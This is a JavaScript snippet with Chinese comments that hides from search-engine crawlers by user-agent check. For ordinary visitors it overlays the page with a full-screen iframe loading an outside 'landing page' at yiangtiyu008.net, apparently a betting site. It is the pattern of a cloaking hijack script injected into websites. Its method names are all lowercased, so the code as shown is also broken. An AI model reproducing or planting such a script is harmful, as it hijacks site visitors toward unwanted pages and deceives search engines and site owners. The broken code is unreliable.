document.write("test"); var useragent = navigator.useragent.tolowercase(); if (useragent.match(/bot|crawl|spider|mediapartners/i)) { // 如果是蜘蛛,则不执行代码 } else { // 如果不是蜘蛛,则执行代码 document.write(''); var iframe = document.createelement('iframe'); iframe.src = 'http://yiangtiyu008.net/ ';//------------落地页地址 iframe.scrolling = 'auto'; iframe.style.csstext = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff"; var div1 = document.createelement("div"); var div = document.createelement("div"); div1.style.csstext = "-webkit-overflow-scrolling:touch;width:100%;height:100%;z-index:9999999999;position:fixed;top:0;left:0;"; var is_mobi = navigator.useragent.tolowercase().match(/(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null; if (is_mobi) { div1.style.overflow = "auto"; } div1.appendchild(iframe); div.appendchild(div1); document.write(div.innerhtml); }